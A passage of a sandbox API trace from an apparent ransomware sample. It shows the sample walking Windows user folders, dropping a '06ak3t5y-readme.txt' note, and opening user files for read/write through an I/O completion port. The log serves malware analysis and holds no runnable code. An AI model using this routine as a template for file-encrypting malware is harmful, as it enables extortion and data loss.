RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367aa40) returned 1 [0110.535] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0110.535] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040190 [0110.535] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5a) returned 0x2086028 [0110.535] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x80) returned 0x367aa40 [0110.535] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\favorites\\windows live\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.540] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367aa40) returned 1 [0110.540] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="windows live", cAlternateFileName="WINDOW~1")) returned 0 [0110.540] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.540] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2084fc0) returned 1 [0110.540] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400d0) returned 1 [0110.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Links\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.541] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.541] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.541] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0110.541] PathFindExtensionW (pszPath="desktop.lnk") returned=".lnk" [0110.541] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0110.542] PathFindExtensionW (pszPath="downloads.lnk") returned=".lnk" [0110.542] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3011f30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0110.542] PathFindExtensionW (pszPath="onedrive.lnk") returned=".lnk" [0110.542] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0110.542] PathFindExtensionW (pszPath="recentplaces.lnk") returned=".lnk" [0110.542] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="recentplaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0110.542] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.542] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085000) returned 1 [0110.542] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040340) returned 1 [0110.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Music\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.543] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.543] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.543] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.543] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.543] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36870e8) returned 1 [0110.543] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040140) returned 1 [0110.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.543] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.544] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.544] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.544] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.544] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2067040) returned 1 [0110.544] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400e0) returned 1 [0110.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.544] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.544] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.544] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.544] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.544] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687130) returned 1 [0110.544] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040070) returned 1 [0110.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.545] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.545] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.545] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0110.545] PathFindExtensionW (pszPath="everywhere.search-ms") returned=".search-ms" [0110.545] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x248) returned 0x397e008 [0110.545] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.546] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e008) returned 1 [0110.546] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0110.546] PathFindExtensionW (pszPath="indexed locations.search-ms") returned=".search-ms" [0110.546] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x248) returned 0x397e008 [0110.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.546] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e008) returned 1 [0110.546] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="indexed locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0110.546] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.547] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687178) returned 1 [0110.547] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400a0) returned 1 [0110.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Videos\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.547] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.547] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.547] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.547] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.547] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2067090) returned 1 [0110.547] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040300) returned 1 [0110.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Contacts\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c37400, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c37400, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.548] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c37400, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c37400, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.548] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c37400, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c37400, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c39b10, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.548] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0110.548] PathFindExtensionW (pszPath="administrator.contact") returned=".contact" [0110.548] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x10c6e) returned 0x3880590 [0110.548] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Contacts\\Administrator.contact" (normalized: "c:\\users\\keecfmwgj\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x238 [0110.548] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6c) returned 0x30ee2d8 [0110.553] CreateIoCompletionPort (FileHandle=0x238, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.577] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3880590) returned 1 [0110.577] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f9530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.577] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, 